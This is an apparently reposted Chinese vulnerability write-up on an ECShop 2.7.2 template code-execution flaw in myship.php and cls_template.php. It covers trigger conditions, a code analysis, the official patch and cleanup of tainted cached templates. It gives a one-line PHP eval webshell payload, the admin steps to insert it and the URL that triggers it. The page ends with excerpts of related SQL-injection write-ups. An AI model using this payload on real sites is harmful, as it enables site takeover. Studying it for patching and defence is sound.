ECSHOP myship.php && cls_template.php Vul Tag_PHP_Code Execute Getshell

目录

1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考

1. 漏洞描述

PHP语言作为开源社区的一员,提供了各种模板引擎,如FastTemplate,Smarty,SimpleTemplate等,而Smarty是现在使用得比较多的PHP模板引擎
ecshop的这个getshell代码执行getshell漏洞,是一种典型的模版tag语言动态解析导致的漏洞,像smarty这类的动态模版语言允许在静态页面中插入smarty定义的"标签语言(tag php)",程序在执行的时候,会对这些标签进行对应的解析渲染,这原本是为了提高网站开发的"解耦和性",将前端开发和后端逻辑的开发进行最大程度的分离
但是在smarty的众多的模版标签中,有一类特殊用途的标签,"代码动态执行的标签(code execute tag)",这类标签允许在标签中插入php代码,程序会在执行时动态地执行这些代码

ecshop中有一条逻辑攻击流支,允许对网站的模版进行编辑,黑客可以输入恶意的php代码标签(例如用于getshell的写文件php代码),当访问这个模版文件、或者其他的文件包含了这个模版文件的时候,恶意代码就会得到执行

Relevant Link:

http://baike.baidu.com/view/399896.htm?fr=aladdin
http://www.myhack58.com/Article/html/3/62/2010/27762.htm

2. 漏洞触发条件

0x1: 需要登录后台

这个漏洞需要黑客能够登录到ecshop的后台,进行后台的模版编辑操作

0x2: 向模版中插入php tag代码

依次按如下操作

模块管理 -> 库项目管理 -> 选择myship.lbi 配送方式 -> 插入<?php eval($_GET[‘op‘])?>

完成模板的修改,向模板文件中插入PHP代码之后,完成修改之后,PHP代码就插入到了模板文件中

\ecshop\themes\default\library\myship.lbi

接下来需要能够触发这个模板文件中的代码执行

访问Exploit URL

http://localhost/ecshop/myship.php

编译后的静态模板文件被保存到"\temp\compiled\myship.lbi.php"中,在缓存命中期间(有一个最大过期时间),之后访问myship.php就不用重新编译,而是直接访问这个静态模版文件

这次的Exploit URL访问的攻击流程如下

1. myship.php调用"\includes\cls_template.php"中的"make_compiled()"对模板"myship.lbi"进行编译、执行
2. 被插入到"myship.lbi"中的PHP代码得到执行
3. 编译后的静态模板文件被保存到"\temp\compiled\myship.lbi.php"中
4. myship.php会包含(include)这个静态模板文件,被插入模板中的php代码得到执行
5. getshell完成

此后,这个myship.php就可以看成一个webshell文件

Relevant Link:

3. 漏洞影响范围

0x1: 存在漏洞的CMS版本

ECShop_V2.7.2
ECShop_V2.7.2 及以前版本

4. 漏洞代码分析

回顾这个漏洞,我们会发现,这个漏洞的根源在于程序没有对用户编辑的模版文件进行正确的恶意检测,就直接进行了"编译",从而把恶意php代码带入了编译后静态模板文件中,DEDECMS中也有很多类似的模版解析漏洞

\includes\cls_template.php

/**
* 编译模板函数
*
* @access  public
* @param   string      $filename
*
* @return  sring        编译后文件地址
*/
function make_compiled($filename)
{
    //编译后的静态模板文件保存的路径
    $name = $this->compile_dir . ‘/‘ . basename($filename) . ‘.php‘;
    //判断缓存的静态模板文件是否过期
    if ($this->_expires)
    {
        $expires = $this->_expires - $this->cache_lifetime;
    }
    else
    {
        $filestat = @stat($name);
        $expires  = $filestat[‘mtime‘];
    }

    $filestat = @stat($filename);

    if ($filestat[‘mtime‘] <= $expires && !$this->force_compile)
    {
        if (file_exists($name))
        {
        //引入编译后的静态模板文件
        $source = $this->_require($name);
        if ($source == ‘‘)
        {
            $expires = 0;
        }
        }
        else
        {
        $source = ‘‘;
        $expires = 0;
        }
    }

    //对模板文件进行解析
    if ($this->force_compile || $filestat[‘mtime‘] > $expires)
    {
        $this->_current_file = $filename;
        $source = $this->fetch_str(file_get_contents($filename)); 

        if (file_put_contents($name, $source, LOCK_EX) === false)
        {
        trigger_error(‘can\‘t write:‘ . $name);
        }

        $source = $this->_eval($source);
    } 

    return $source;
}

代码中的关键行是:

$source = $this->fetch_str(file_get_contents($filename));

我们继续分析这个函数

/**
* 处理字符串函数
*
* @access  public
* @param   string     $source
*
* @return  sring
*/
function fetch_str($source)
{
    if (!defined(‘ECS_ADMIN‘))
    {
        $source = $this->smarty_prefilter_preCompile($source);
    } 

    //程序没有对即将解析的模板内容作任何的恶意检测
    return preg_replace_callback("/{([^\}\{\n]*)}/", function($r) { return $this->select($r[1]); }, $source);
}

从代码中可以很清楚的看到,程序直接对用户编辑后的模板文件进行了"编译(本质就是PHP的动态变量替换机制)",并没有对模板文件进行恶意代码检测

5. 防御方法

0x1: 代码patch

ecshop v2.7.3 release 1106安全漏洞补丁[20130708]

http://bbs.ecshop.com/thread-1131753-1-1.html

通过对比官方的patch code和2.7.2 vul code,我们可以发现,patch代码在对模板代码的解析的时候

patch file

/**
* 处理字符串函数
*
* @access  public
* @param   string     $source
*
* @return  sring
*/
function fetch_str($source)
{
    if (!defined(‘ECS_ADMIN‘))
    {
        $source = $this->smarty_prefilter_preCompile($source);
    }
    //对即将解析的模板文件的内容进行了恶意代码检测,防止其中出现恶意的PHP代码
    if(preg_match_all(‘~(<\?(?:\w+|=)?|\?>|language\s*=\s*[\"\‘]?php[\"\‘]?)~is‘, $source, $sp_match))
    {
        $sp_match[1] = array_unique($sp_match[1]);
        for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
        {
            $source = str_replace($sp_match[1][$curr_sp],‘%%%SMARTYSP‘.$curr_sp.‘%%%‘,$source);
        }
        for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
        {
            $source= str_replace(‘%%%SMARTYSP‘.$curr_sp.‘%%%‘, ‘<?php echo \‘‘.str_replace("‘", "\‘", $sp_match[1][$curr_sp]).‘\‘; ?>‘."\n", $source);
        }
    }
    return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select(‘\\1‘);", $source);
}

0x2: 脏数据回滚

这个漏洞造成的影响

1. 除了可以使黑客通过myship.php将恶意PHP代码写入磁盘文件中
2. 同时恶意代码还会以静态缓存文件的形式在一定时间内保存在磁盘上,这个静态缓存文件中包含的恶意代码会在缓存有效期间一直有效

当黑客再次访问myship.php文件的时候,即使这个myship.php已经进行了代码修复,仍然可以引入这个包含恶意代码的静态缓存文件,所以要彻底修复这个漏洞,需要能够对已经被污染的磁盘文件进行清理,即脏数据删除、回滚

被黑客污染的文件有2个

1. \temp\compiled\myship.lbi.php:由myship.lbi解析后生成
2. \themes\default\library\myship.lbi

其中myship.lbi是黑客可以编辑的模板文件,不能删除,而myship.lbi.php是动态生成出来的,在有效期间内会一直有效

如果需要进行脏数据清理、回滚,就需要进行如下操作(在确认文件中有PHP恶意代码的情况下)

1. 对myship.lbi中的恶意代码进行清除:只能修改文件,不能删除文件
2. 对myship.lbi.php的恶意文件进行删除:直接删除文件

0x3: 最终修复方案

1. code patch
2. 对myship.lbi进行检测,如果发现有恶意PHP代码,则进行清除(修改文件)
3. 对myship.lbi.php进行检测,如果发现有恶意PHP代码,则直接删除文件

6. 攻防思考

针对这类模版动态标签解析漏洞的防御,我觉得最好的方法就是在代码逻辑的关键节点进行恶意检测

http://www.cnblogs.com/LittleHann/p/3574694.html

Copyright (c) 2014 LittleHann All rights reserved

时间: 2024-11-09 00:57:51

ECSHOP myship.php && cls_template.php Vul Tag_PHP_Code Execute Getshell的相关文章

ecshop /flow.php SQL Injection Vul

catalog 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述 ECSHOP的配送地址页面网页没有验证地区参数的有效性,存在sql注入漏洞,攻击者可利用火狐tamper data等插件修改提交到配送地址页面的post数据,造成未授权的数据库操作甚至执行任意代码 Relevant Link: http://sebug.net/vuldb/ssvid-60554 2. 漏洞触发条件 1. 先注册账户,随便选个商品进购物车,然

ecshop /search.php SQL Injection Vul

catalog 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述 ECSHOP商城系统Search.php页面过滤不严导致SQL注入漏洞 Relevant Link: http://sebug.net/vuldb/ssvid-62317 2. 漏洞触发条件 0x1: POC <?php ini_set("max_execution_time",0); error_reporting(7); function

ecshop /pick_out.php SQL Injection Vul By Local Variable Overriding

catalog 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述 在进行输入变量本地模拟注册的时候,没有进行有效的GPC模拟过滤处理,导出key键注入 Relevant Link: http://bbs.ecshop.com/thread-150545-1-1.html 2. 漏洞触发条件 1. /pick_out.php漏洞未修复 2. magic_quotes_gpc = Off 0x1: POC #!/usr/bin

ecshop /category.php SQL Injection Vul

catalog 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述 Relevant Link: http://sebug.net/vuldb/ssvid-19574 2. 漏洞触发条件 0x1: POC http://localhost/ecshop2.7.2/category.php?page=1&sort=goods_id&order=ASC%23goods_list&category=1&dis

ECSHOP 开发总结

今天算是仔细学习ecshop 的第一天,实话说,如果不是任务紧,肯定不用这个东西.2013年之后都不再维护了.使用起来万一出什么BUG 就不好了.而且不是纯粹的MVC ,看代码也是怪怪的呢.但是都已经选择了,用一用吧. 1. ecshop的 MVC 虽然ecshop 不是纯粹的MVC ,但是人家还是使用 smarty  模板技术的.模板技术的出现就是为了更好的分离后台php代码和前台html 代码.在 ecshop 里面,cls_template.php 是核心文件,是一个精简的 smarty

PHP5.5下安装配置EcShop

建议用较旧的PHP版本与EcShop搭配,比如PHP5.3,新版的PHP有很多奇奇怪怪的问题... 错误描述: Deprecated: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead in D:\xampp\htdocs\ECShop\upload\includes\cls_template.php on line 300 Deprecated: preg_replace(): Th

ecshop 常见问题记录

今天在研究ecshop的时候遇到几个问题,现记录在下: 问题一: 1.Strict Standards: Non-static method cls_image::gd_version() should not be called statically in D:\X\www\ecshop\install\includes\lib_installer.php on line 31 解决方法:找到install/includes/lib_installer.php中的第31行   return c

ecshop 报错

ECShop出现Strict Standards: Only variables should be passed b (2014-06-04 17:00:37) 转载▼ 标签: ecshop 报错 strictstandards it 分类: ECshop 今天开始研究ECShop,在安装完成的时候发现首页顶部.左侧和底部出现: Strict Standards: Only variables should be passed by reference in F:\wamp\www\ecsho

WEB渗透测试培训班

2018最新WEB渗透测试培训班 介绍: 2012-2018这几年我们迎来大数据时代.网络环境.现在更加普及和大众化!我们不仅在生活上,工作上都正受到前所未有的挑战. 这些挑战包括:隐私泄漏.信息泄露.黑客攻击.商业间谍等.除了加强信息安全教育外,我们还要从技术上解决这类安全问题. 随着区块链思想的产生,这几年将是网络发展突破瓶颈的过渡区,所以Yuntest特意隆重推出关于网络安全方面的课程WEB安全渗透. 面向人群:WEB安全.程序员.系统运维.SEO黑白帽.群众 培训形式:多种课程为您量身定